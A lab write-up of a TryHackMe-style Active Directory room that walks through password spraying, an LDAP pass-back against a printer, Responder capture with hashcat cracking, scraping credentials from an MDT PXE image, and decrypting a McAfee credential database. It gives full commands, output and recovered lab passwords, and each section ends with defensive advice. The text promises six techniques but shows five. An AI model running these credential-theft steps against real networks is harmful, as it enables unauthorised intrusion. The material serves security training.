This room focuses on the very first step of any Active Directory engagement: getting hold of an initial set of valid domain credentials before any real enumeration, lateral movement, or privilege escalation can begin. The objective is not to compromise a Domain Controller directly, but to breach the perimeter of authentication itself. We work through six distinct techniques, each abusing a different service or misconfiguration that organisations routinely expose, and each one hands us a working AD account by the end.

What I like about this room is that it mirrors reality. In a real assessment you rarely walk in with credentials. You earn that first foothold by finding the one service, printer, or config file that leaks an account, and everything else in the domain unlocks from there. None of the six techniques below needs an exploit or a CVE. Every single one abuses a default, a legacy protocol, or a secret stored where it never should have been.

Everything was performed against an authorised lab. The techniques are offensive by nature, so every section closes with the defensive angle you would actually report back after an engagement.

The Lab Layout

Before touching anything, it pays to understand the target. The network map for this engagement looked like this:

  • THMDC - 10.200.70.101 - the Domain Controller, also serving DNS for za.tryhackme.com
  • THM-IIS - 10.200.70.201 - hosts the NTLM-authenticated web service and the printer admin panel
  • THMMDT - 10.200.70.202 - the Microsoft Deployment Toolkit server
  • THMJMP1 - 10.200.70.248 - a Windows jump host we use for the PXE and config-file work

Because we attack over a VPN segment, name resolution does not work out of the box, and the AttackBox ships with a locked-down /etc/resolv.conf that we cannot simply overwrite:

echo "nameserver 10.200.70.101" | sudo tee /etc/resolv.conf
tee: /etc/resolv.conf: Operation not permitted

No problem. Instead of fighting the resolver, we point individual lookups straight at the Domain Controller by appending its IP to nslookup, then drop what we need into /etc/hosts:

nslookup thmmdt.za.tryhackme.com 10.200.70.101
nslookup pxeboot.za.tryhackme.com 10.200.70.101
nslookup thmjmp1.za.tryhackme.com 10.200.70.101

The trailing 10.200.70.101 forces each query to the DC rather than the local resolver. With the IPs in hand we add the hostnames we will actually browse to or SSH into:

echo "10.200.70.201   ntlmauth.za.tryhackme.com printer.za.tryhackme.com pxeboot.za.tryhackme.com" | sudo tee -a /etc/hosts
echo "10.200.70.248   thmjmp1.za.tryhackme.com" | sudo tee -a /etc/hosts

With DNS handled, we can start knocking on doors.

NTLM Authenticated Services - Password Spraying

The first target is a web application that uses Windows Authentication, which under the hood is NetNTLM. When a service authenticates this way, it never sees or stores the password itself. It forwards a challenge to a Domain Controller and reflects the result back to the browser, acting as a middleman. That design is convenient for administrators, but it also means any internet-facing NetNTLM endpoint becomes a free oracle for testing credentials we gathered during OSINT.

A quick sanity check confirms the endpoint is alive and demands authentication. A 401 is exactly what we want to see here:

curl -s -o /dev/null -w "%{http_code}\n" http://ntlmauth.za.tryhackme.com/
401

Because AD environments almost always enforce account lockout, hammering a single account with many passwords is a fast way to lock users out and light up the SOC. The disciplined approach is password spraying: pick one likely password and try it against every username we have. The OSINT phase had already surfaced the onboarding password Changeme123, and users who never rotate it hand us access for free.

We run a small custom script that walks a username list and watches the HTTP status code. A 200 means the credentials are valid, a 401 means they are not. That single difference is all the oracle we need.

python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/

The spray returned four valid pairs, every one of them still sitting on the default password:

[+] Valid credential pair found! Username: hollie.powell    Password: Changeme123
[+] Valid credential pair found! Username: heather.smith    Password: Changeme123
[+] Valid credential pair found! Username: gordon.stevens   Password: Changeme123
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found

To confirm one of them manually rather than trusting the script, curl can perform the full NetNTLM handshake itself. A valid pair returns the protected page content:

curl --ntlm -u 'za\gordon.stevens:Changeme123' http://ntlmauth.za.tryhackme.com/

Defensive angle: Spraying is quieter than brute force but far from invisible. It produces a burst of Event ID 4625 (failed logon) spread across many accounts in a short window, which is a textbook detection case for a Sigma rule watching horizontal authentication failures. Enforce strong onboarding passwords with mandatory rotation on first logon, put MFA in front of anything internet-facing, and alert when one source touches many accounts in quick succession.

LDAP Pass-back - Turning a Printer Against the Domain

Some applications authenticate to AD over LDAP rather than NetNTLM, and this changes the attack surface entirely. Unlike NetNTLM, an LDAP-integrated service needs its own AD credentials to bind to the directory first. GitLab, Jenkins, VPNs, custom web apps, and network printers all do this. If we can reach the device's configuration, we can steal the service account it uses to bind.

Network printers are the classic victim, and this one did not disappoint. The admin panel at http://printer.za.tryhackme.com/settings.aspx required no authentication at all and exposed the LDAP configuration, including the bind username svcLDAP and a server pointing at the real DC (10.10.10.101). The password was masked, but the "Server" field was editable, and there was a "Test Settings" button. That combination is everything an LDAP pass-back needs: repoint the device at our own machine, click test, and the printer authenticates against us instead of the DC.

A naive first attempt with a plain Netcat listener fails, and it is worth understanding why. Before sending credentials, the printer negotiates the authentication mechanism and picks the strongest one both sides support. To force the credentials into cleartext, we need a rogue LDAP server that only advertises the weak PLAIN and LOGIN mechanisms.

The AttackBox in this run did not actually have OpenLDAP installed, contrary to the room notes, so the first step was to install it:

sudo apt-get -y install slapd ldap-utils
sudo dpkg-reconfigure -p low slapd

During reconfiguration we decline to skip server setup, set the DNS domain and organisation to za.tryhackme.com, choose the MDB backend, and keep the database on purge. Next we downgrade the SASL security properties so no minimum security strength is enforced:

cat > olcSaslSecProps.ldif <<'EOF'
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
EOF

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

Here is where the room and a modern install diverge, and it is the most instructive part of the whole task. Verifying the advertised mechanisms showed the weak ones were present but so were the strong Kerberos ones:

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GS2-IAKERB
supportedSASLMechanisms: GS2-KRB5
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN

Starting the capture and pressing "Test Settings" at this point produced a connection, but no cleartext. The tcpdump showed the printer selecting GSS-SPNEGO with NTLMSSP and then failing on our missing Kerberos keytab:

GSSAPI Error: No credentials were supplied ... ('/etc/krb5.keytab' not found)

The olcSaslSecProps change was not enough on its own, because the GSSAPI SASL module ships system-wide and keeps advertising those strong mechanisms. The fix is to remove that module so the printer has nothing strong left to choose:

sudo apt-get -y remove libsasl2-modules-gssapi-mit
sudo service slapd restart
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN

Now the server only offers LOGIN and PLAIN. We restart the sniffer, repoint the printer's "Server" field at our VPN interface (10.150.70.6), and hit "Test Settings" again:

sudo tcpdump -SX -i breachad tcp port 389

This time the negotiation plays out exactly as we want. The printer queries the supported mechanisms, gets only LOGIN and PLAIN back, briefly tries NTLMSSP, receives an invalid DN response (which shows up in the browser as "This distinguished name contains invalid syntax"), and finally falls back to a simple bind, sending the service account in cleartext. Reading the ASCII column of the capture:

za.tryhackme.com\svcLDAP ..tryhackmeldappass1@

The ASN.1 structure even tells us the password length up front (the 8013 before the password marks a 19-byte value), which matches tryhackmeldappass1@ exactly. We now have svcLDAP : tryhackmeldappass1@.

Defensive angle: Lock down device management interfaces with real credentials rather than leaving them open or on admin:admin, segment printers and IoT away from sensitive VLANs, and give LDAP bind accounts the absolute minimum rights. Require LDAPS and refuse downgraded mechanisms so a rogue server cannot ever coax a cleartext simple bind out of a device.

Authentication Relays - Capturing and Cracking NetNTLMv2

SMB is the workhorse of a Windows network, governing everything from file shares to that "out of paper" message from a printer, and it authenticates with NetNTLM. When a host looks for a name that DNS cannot resolve, it falls back to broadcast protocols such as LLMNR, NBT-NS, and mDNS, effectively shouting the request across the local segment. Anything on that segment, our rogue device included, receives it.

Responder abuses this by answering every one of those broadcasts with "that host is me", winning the race against the legitimate owner, and standing up fake SMB, HTTP, SQL, and other servers to capture the authentication that follows.

sudo responder -I breachad

The first launch surfaced a real problem that is easy to miss. Responder reported that it could not bind ports 139 and 445:

[!] Error starting TCP server on port 139, check permissions or other servers running.
[!] Error starting TCP server on port 445, check permissions or other servers running.

Those two ports are precisely the SMB capture path we depend on. The room notes wave away port errors as harmless, but that only applies to services like HTTPS or DNS, not SMB. The system Samba service had grabbed them, so we stopped it and confirmed the ports were free before relaunching:

sudo systemctl stop smbd nmbd 2>/dev/null
sudo pkill -f smbd 2>/dev/null
sudo ss -tlnp | grep 445

On the second launch, SMB started cleanly. Responder then just listens. In this lab a service authentication is simulated roughly every half hour, so after a short wait a capture rolled in:

[SMB] NTLMv2-SSP Client   : 10.200.70.202
[SMB] NTLMv2-SSP Username : ZA\svcFileCopy
[SMB] NTLMv2-SSP Hash     : svcFileCopy::ZA:04d261da1d46b962:311B601F...

An important distinction: this is a capture, not a relay. We are not forwarding the authentication live to a third server (that is the relay attack described at the end of the room, and it depends on SMB signing being off and knowing the account has rights somewhere). Instead we take the NetNTLMv2 response offline and crack it. Responder also writes every capture to disk, though on this build the path was not the documented one, so a quick search found it:

find / -name "SMB-NTLMv2-SSP-*.txt" 2>/dev/null
/usr/local/Responder/logs/SMB-NTLMv2-SSP-10.200.70.202.txt

Copying that hash into a file and cracking it with Hashcat in mode 5600 (NetNTLMv2) against the provided wordlist:

hashcat -m 5600 hash.txt passwordlist.txt --force

The account used a weak password and fell in under a second:

Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Recovered........: 2/2 (100.00%) Digests

svcFileCopy::ZA:...:FPassword1!

That gives us svcFileCopy : FPassword1!.

Defensive angle: Disable LLMNR and NBT-NS through Group Policy so there is nothing to poison, enable and enforce SMB signing so captured authentications cannot be relayed, and use long random passwords on service accounts to make offline cracking infeasible. Responder is disruptive by nature, since poisoning breaks legitimate name resolution, so monitoring for rogue LLMNR/NBT-NS responders catches this quickly in a healthy network.

Microsoft Deployment Toolkit - Scraping a PXE Boot Image

Large estates do not install operating systems by hand. Microsoft Deployment Toolkit (MDT), usually paired with SCCM, lets IT preconfigure boot images that a brand new machine pulls over the network via PXE boot. Those images frequently embed an AD deployment account so the machine can join the domain and install software during setup, and that account is very often stored in cleartext inside the image.

We skip the DHCP handshake because we already know the MDT server from the network map. First we browse the MDT web listing at http://pxeboot.za.tryhackme.com, which serves a directory of BCD boot-configuration files, one per architecture. We grab the plain x64 entry (not x64uefi, not x86x64). From the Windows jump host, we set up a working directory, copy in powerpxe, and pull that BCD file over TFTP.

TFTP is trickier than FTP because you cannot list files, you have to request an exact path, and the BCD files always live in /Tmp/ on the MDT server:

tftp -i 10.200.70.202 GET "\Tmp\x64{DE9DCE95-8270-4DF7-884B-6B044ADA46C5}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s

powerpxe then parses the BCD file to locate the actual boot image (WIM):

Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim

We download that image the same way. It is a full bootable Windows image, so the transfer is large and takes a couple of minutes:

tftp -i 10.200.70.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim
Transfer successful: 341899611 bytes in 161 second(s)

Finally we let powerpxe hunt through the image for the bootstrap.ini where deployment credentials live:

Get-FindCredentials -WimFile pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot   = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID       = svcMDT
>>>> >>>> UserDomain   = ZA
>>>> >>>> UserPassword = PXEBootSecure1@

That gives us svcMDT : PXEBootSecure1@, no cracking required because the password sits in the image in plaintext.

Defensive angle: Never store deployment credentials in cleartext inside boot images, restrict TFTP so it is not reachable from general network segments, and scope the deployment account to the minimum rights it needs. A single unauthenticated TFTP request should never be enough to walk away with a domain account.

Configuration File Credentials - Looting a McAfee Database

The final avenue assumes we already have a foothold on a host, which is exactly the position any of the earlier attacks would put us in. Centrally deployed software has to authenticate to the domain, and it tends to leave credentials scattered across config files, registry keys, and local databases. Enumeration frameworks like Seatbelt automate that hunt, but here we go straight for a well-known offender.

McAfee Endpoint Security stores the credentials it uses to reach its orchestrator in a SQLite database named ma.db, at a fixed path. Using the SSH access on the jump host, we copy it back to the AttackBox with SCP:

scp thm@thmjmp1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .

Opening it in a SQLite browser (or straight from the CLI) and reading the AGENT_REPOSITORIES table shows two rows. The interesting one is the TryHackMe EPO entry, which carries the domain, username, and an encrypted password:

sqlite3 ma.db "SELECT NAME, DOMAIN, AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES;"

The AUTH_PASSWD field comes back as a base64 blob:

jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==

It is encrypted, but McAfee uses a hardcoded, publicly known key, which makes the encryption entirely cosmetic. A well-known decryption script does the rest. On this run the archive was already extracted into the task folder, so it was just a matter of pointing the script at the blob:

python2 mcafee_sitelist_pwd_decrypt.py 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='
Crypted password   : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!

The McAfee service account is ours with the password MyStrongPassword!.

Defensive angle: This is a well-documented class of problem, not a clever trick. Prefer Group Managed Service Accounts (gMSA) over static service accounts so there is no reusable password to steal, give installation accounts only the privileges they genuinely need, and protect config files and local databases with proper ACLs. Obscurity is not a control the moment the key is public.

One more habit worth calling out, because the room deliberately teaches it: cleanup. On the jump host the working directory could not be deleted (access denied), and a scheduled task tidied it up instead. That is a lab convenience. On a real host nothing cleans up after you, so removing dropped files, tools, and especially large artifacts like that 340 MB WIM image is part of doing the job professionally.

Final Thoughts

Overall, this room demonstrates how many different doors lead into an Active Directory environment before a single exploit is ever fired. Across six techniques we recovered domain credentials by spraying default passwords against a NetNTLM web service, forcing a printer into a cleartext LDAP pass-back, poisoning broadcast name resolution with Responder and cracking the captured NetNTLMv2 hash offline, scraping a deployment account out of an MDT PXE boot image, and decrypting service credentials left behind in a McAfee configuration database.

By the end we were holding a whole set of accounts: gordon.stevens and three of their colleagues from the spray, svcLDAP, svcFileCopy, svcMDT, and the McAfee service account. In a real engagement that is the moment the assessment truly begins, because now we can start enumerating the domain from an authenticated position.

The recurring lesson is that the perimeter of authentication is only ever as strong as the weakest service plugged into the domain. None of this needed a zero-day. It needed a default password, an open printer panel, a legacy broadcast protocol, a cleartext boot image, and a config file trusting a public key. Fix the defaults, kill the legacy protocols, rotate and scope service accounts, and stop trusting obscurity to protect a secret, and most of these doors close on their own.